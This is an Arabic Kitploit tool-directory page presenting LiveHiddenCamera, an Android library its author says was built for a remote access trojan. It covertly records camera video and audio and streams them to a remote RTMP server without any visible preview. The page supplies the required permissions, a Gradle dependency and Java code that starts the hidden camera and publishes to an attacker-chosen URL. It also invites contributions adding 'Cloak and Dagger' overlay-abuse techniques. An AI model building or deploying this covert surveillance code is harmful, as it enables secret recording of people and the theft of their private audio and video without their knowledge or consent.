Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
LiveHiddenCamera — مكتبة Live Hidden Camera تقوم بتسجيل فيديو وصوت مباشر من جهاز Android دون عرض معاينة. | Kitploit
أدوات/GitHubGitHub/mirsamantajbakhsh/livehiddencamera
أمان أندرويدتحليل البرمجيات الخبيثةأمن الجوالالخصوصيةأداة الوصول عن بعد
GitHubmirsamantajbakhsh/livehiddencamera

LiveHiddenCamera

مكتبة Live Hidden Camera تقوم بتسجيل فيديو وصوت مباشر من جهاز Android دون عرض معاينة.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني
8235منذ 7 سنواتتمت المراجعة من قبل Kitploit

كاميرا خفية مباشرة

كاميرا خفية مباشرة (LHC) هي مكتبة تقوم بتسجيل الفيديو والصوت المباشر من جهاز Android دون عرض معاينة. Live Hidden Camera

الدافع

أعمل على بحث يعتمد على برمجيات خبيثة لنظام Android وقررت إنشاء أداة تحكم عن بعد (RAT) متعددة الوظائف. كنت أعمل على البث المباشر حيث وجدت بعض المشاريع مفتوحة المصدر القائمة على RTMP تشمل:

  • https://github.com/begeekmyfriend/yasea
  • https://github.com/ant-media/LiveVideoBroadcaster
  • https://github.com/TakuSemba/RtmpPublisher
  • https://github.com/fyhertz/libstreaming

والتي جميعها تعاني من بعض المشاكل بناءً على متطلبات أداة RAT. لكن المشكلة الشائعة كانت أن جميعها تحتاج إلى نشاط (Activity) لتضمين SurfaceView.

لذلك، بدأت البحث. أخيرًا، تمكنت من إنشاء كاميرا خفية مباشرة التي تحتاج فقط إلى CONTEXT لبث الفيديو المباشر، من خلال دمج هذين المشروعين:

  1. https://github.com/begeekmyfriend/yasea
  2. https://github.com/kevalpatel2106/android-hidden-camera

كيفية الاستخدام

لقد أنشأت مكتبة لجعلها أكثر قابلية للاستخدام. الشرط الوحيد هو إضافة المكتبة إلى مشروعك وتمرير عنوان Rtmp إليها.

بالإضافة إلى ذلك، يجب عليك الاهتمام بما يلي:

  1. يجب أن يحتوي تطبيقك على الأذونات التالية في Manifest.xml:
root@kitploit:~
<uses-permission android:name="android.permission.INTERNET" />  
<uses-permission android:name="android.permission.CAMERA" />  
<uses-permission android:name="android.permission.RECORD_AUDIO" />  
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
  1. يجب عليك التأكد من منح الأذونات المعلنة لتطبيقك

إضافة المكتبة

استخدام المكتبة مباشر. فقط أضف المكتبة التالية إلى ملف gradle.build لمشروعك.

compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'

  • تحديث: في الإصدار السابق، كان النشاط الرئيسي (Main Activity) مع مرشح المشغل موجودًا في المكتبة، مما جعل التطبيق (الذي يستخدم المكتبة) يحتوي على أيقونتين. في هذا الإصدار، تم تعليق المرشح في Manifest.

إنشاء خادم RTMP

قبل استخدام المكتبة، يجب أن يكون لديك خادم Rtmp منشور. لقد استخدمت Ant Media Server. يوجد دليل جيد حول تثبيت Ant Media Server في هذا الرابط.

بعد بدء تشغيل خادم Ant Media Rtmp، يجب أن ترى شيئًا كهذا: Ant Media Server

نموذج كود

بعد إضافة المكتبة إلى مشروعك، اتبع الخطوات التالية:

  1. إنشاء فئة تقوم بتنفيذ: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener

  2. إنشاء حقلين (واحد للنشر وواحد للمعاينة):

    private SrsPublisher mPublisher;
    private SrsCameraView mCameraView;

  3. تنفيذ دالة لبدء الكاميرا الخفية المباشرة:

root@kitploit:~
    private void initHiddenCam(String rtmpURL) {  
    HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {  
        @Override  
  public void onPermissionNotGrantedException(Exception ex) {  
            Log.d("HCL", "Ask user to grant permission.");  
            Log.e("HCL", ex.getMessage());  
        }  
    });  
  
    //start config  
  CameraConfig cameraConfig = new CameraConfig()  
            .getBuilder(MainActivity.this.getApplicationContext())  
            .setCameraFacing(CameraFacing.REAR_FACING_CAMERA)  
            .build();  
  
  
    mCameraView = l.initHiddenLayout(cameraConfig);  
  
    mPublisher = new SrsPublisher(mCameraView);  
    mPublisher.setEncodeHandler(new SrsEncodeHandler(this));  
    mPublisher.setRtmpHandler(new RtmpHandler(this));  
    mPublisher.setRecordHandler(new SrsRecordHandler(this));  
    mPublisher.setPreviewResolution(640, 360);  
    mPublisher.setOutputResolution(640, 360);  
    mPublisher.setVideoHDMode();  
    mPublisher.startPublish(rtmpURL);  
    mPublisher.startCamera();  
}

المشاكل

الشاشة الخضراء

المشكلة الرئيسية التي أواجهها حاليًا هي الشاشة الخضراء. لقد وصفت الخطأ في StackOverflow على https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video

إذا كان لديك أي اقتراح بخصوص هذه المشكلة، أو أي فكرة أخرى، فلا تتردد في الاتصال بي.

العرض الثابت

بسبب التراكب (overlay) للكاميرا الخفية المباشرة، لا يمكن النقر على التطبيقات الأخرى. النقرات مقبولة فقط بواسطة LHC. تحقق من قسم TODO.

المهام المستقبلية

هناك مشروع يسمى Cloak and Dagger كشف عن قدرة خطيرة جدًا في Android. أي مساهمة في استخدام Cloak and Dagger في LHC مرحب بها.

تحقق من Cloak and Dagger هنا:

  1. http://cloak-and-dagger.org
  2. https://medium.com/@targetpractice/cloak-and-dagger-malware-techniques-demystified-c4d8a035b94e

التبرع

يمكنك التبرع لهذا المشروع باستخدام عنوان Bitcoin الخاص بي على:

root@kitploit:~
BitCoin:

1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS

الاتصال

يمكنك التواصل معي من خلال موقعي الإلكتروني: https://mstajbakhsh.ir/

تنزيل الأداة